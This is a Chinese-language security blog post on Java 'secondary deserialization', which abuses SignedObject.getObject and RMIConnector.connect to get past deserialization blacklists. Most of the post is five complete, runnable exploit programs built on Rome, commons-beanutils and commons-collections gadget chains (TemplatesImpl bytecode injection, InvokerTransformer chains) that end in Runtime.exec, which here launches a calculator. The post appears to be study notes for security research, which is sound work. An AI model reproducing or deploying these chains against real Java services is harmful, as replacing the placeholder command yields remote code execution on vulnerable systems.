二次反序列化

SignedObject

他是java.security下一个用于创建真实运行时对象的类,更具体地说,SignedObject包含另一个Serializable对象。主要是来看他的getObject方法

可以看到该方法中存在一个readObject方法可以进行反序列化,可以看到他反序列化的内容来自content而这个值我们是可控的看他的构造方法

其构造方法会将第一个参数序列化,然后赋值给content属性,SignedObjectgetObject方法会将content属性反序列化

利用方式如下:先构造一个恶意SignedObject,然后调用它的getObject()方法即可

1
2
3
4
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));

利用思路:

  • 谁的方法调用了getObject方法,然后一直往上跟readobject或者getter方法
  • 谁的反射可控,直接进行反射调用

通过对网上师傅的一些学习可以知道 fastjson jackson cb Rome可以触发getter方法,下面逐一来看一下

Rome

具体执行原理参考Rome反序列化记录还算可以。

ToStringBean链

这里主要关注其二次反序列化的点,看一下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.ocean;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.time.temporal.Temporal;
import java.util.HashMap;
public class Rome_SignedObject_twice {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return ct;
}
public static HashMap getPayload(Class clazz, Object obj) {
ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "rand");
return hashMap;
}
public static void Unser(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templatesImpl, "_name", "x");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
Unser(hashMap2);
}
}

大概的流程是这样的:hashMap2:readObject()->signedObject:getObject->hashMap1:readObject

EqualsBean链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package com.ocean;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;

import java.util.Hashtable;
public class Rome_SignedObject_EqualsBean_twice {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return ct;
}
public static void Unser(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}

public static Hashtable getPayload(Class clazz, Object obj) throws NoSuchFieldException, IllegalAccessException {
EqualsBean bean = new EqualsBean(String.class, "s");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", obj);
map2.put("zZ", bean);
map2.put("yy", obj);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
setFieldValue(bean, "_beanClass", clazz);
setFieldValue(bean, "_obj", obj);
return table;
}
public static void main(String[] args) throws NoSuchAlgorithmException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templatesImpl, "_name", "x");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
Hashtable table1 = getPayload(Templates.class, templatesImpl);
SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));
Hashtable table2 = getPayload(SignedObject.class, signedObject);
Unser(table2);
}
}

commons-beanutils链

具体原理参考Java 反序列化这里有介绍cb链的原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.zbz;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.PriorityQueue;

public class cb_SignedObject_twice {
public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field f = obj.getClass().getDeclaredField(fieldName);
f.setAccessible(true);
f.set(obj, value);
}
public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
ct.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
ct.setName(randomClassName);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
return ct;
}

public static PriorityQueue<Object> getPayload(Object object, String string) throws Exception {
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add("1");
priorityQueue.add("2");
setFieldValue(beanComparator, "property", string);
setFieldValue(priorityQueue, "queue", new Object[]{object, null});
return priorityQueue;
}
public static void Unser(Object obj) throws IOException, ClassNotFoundException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void main(String[] args) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
setFieldValue(templatesImpl, "_bytecodes", bytes);
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templatesImpl, "_name", "x");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
PriorityQueue queue = getPayload(templatesImpl,"outputProperties");
SignedObject signedObject = new SignedObject(queue, kp.getPrivate(), Signature.getInstance("DSA"));
PriorityQueue<Object> priorityQueue = getPayload(signedObject,"object");
Unser(priorityQueue);
}

}

RMIConnector链

这个RMIConnector类中的findRMIServerJRMP方法存在一个反序列化的方法

这里是会将base64转换成字节码进行反序列化。

下面就是看看哪里调用了这个findRMIServerJRMP方法,可以找到在其同类下的findRMIServer方法

看一下源码解释一下

可以看到该方法接受了一个JMXServiceURL类的参数和一个Map,先调用isIiopURL判断directoryURL的协议类型是RMI还是IIOP,这里的判断方法是获取protocol属性进行判断,protocol在构造JMXServiceURL的时候取出service:jmx:后面部分赋值给protocol。如果它是iiop协议,会把java.naming.corba.orb字符和类放入到map中。最终从directoryURL中获取urlPath的内容,取出;的索引位置,如果不存在; ,把end赋值为整个长度,判断path是以/jndi/ /stub/等起始进入不同的方法并把/jndi/ /stub/对应的字符串去掉。此处要触发二次反序列化,需要令findRMIServer进入findRMIServerJRMP,所以要传入的urlPath以/stub/开头并且是rmi协议。

再去寻找哪里调用了findRMIServer方法

还是在其同类下的connect方法中会调用到该方法跟进源代码看看

可以看到是有这个方法的。这里调用该方法的条件是rmiServer为空,这里的jmxServiceURL可以通过反射进行修改。

1
2
3
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

现在关键就是要去找哪里调用了connect方法。其实可以通过前面所学的cc链去反射调用该方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Rmiconnector_cc6_twice {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static HashMap getObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}

public static void main(String[] args) throws Exception {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
//序列化内层的payload
String exp= Base64.getEncoder().encodeToString(tser.toByteArray());

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/"+exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
//储存在rmiConnector的rmiConnection中
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "test");
lazyMap.remove(rmiConnector);
//构造了一个lazymap的任意方法构造,调用connect
setFieldValue(lazyMap,"factory", invokerTransformer);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(expMap);
oos.close();


//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

这里利用cc6链

再来一条 TransformedMap链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;

import java.lang.annotation.Target;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Rmiconnector_TransformedMap_twice {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
//序列化内层的payload
String exp = Base64.getEncoder().encodeToString(tser.toByteArray());

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(rmiConnector),
new InvokerTransformer("connect", null, null)
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
Map outmap = TransformedMap.decorate(map, null,chainedTransformer);
outmap.put("test","text");
//Runtime.getRuntime().exec("");
Class test = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct=test.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Target.class,outmap);


serialize(obj);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}



public static void setFieldValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap getObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}
}

另一种写法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
package org.example.twice.RMIconnector;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.InvocationHandler;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc_nolazymap_RMIconnect_1 {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
//序列化内层的payload
String exp = Base64.getEncoder().encodeToString(tser.toByteArray());
System.out.println(exp);
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);

HashMap<Object, Object> map = new HashMap<>();
ConstantTransformer constantTransformer = new ConstantTransformer(rmiConnector);
Map<Object, Object> outmap = TransformedMap.decorate(map, null,invokerTransformer);
map.put("value", "value");
Map outoutmap = TransformedMap.decorate(outmap,null,constantTransformer);

Class test = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct=test.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class,outoutmap);


serialize(obj);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}



public static void setFieldValue(Object obj,String name,Object value)throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static HashMap getObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}
}

WrapperConnectionPoolDataSource链

C3P0链参考这个文章自己记录过了但是又忘记了哈哈哈

列参考自以下师傅们的文章

https://tttang.com/archive/1701/#toc_wrapperconnectionpooldatasource

https://www.cnblogs.com/F12-blog/p/18127214

https://asal1n.github.io/2024/03/03/java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://www.aiwin.fun/index.php/archives/4388/#cl-3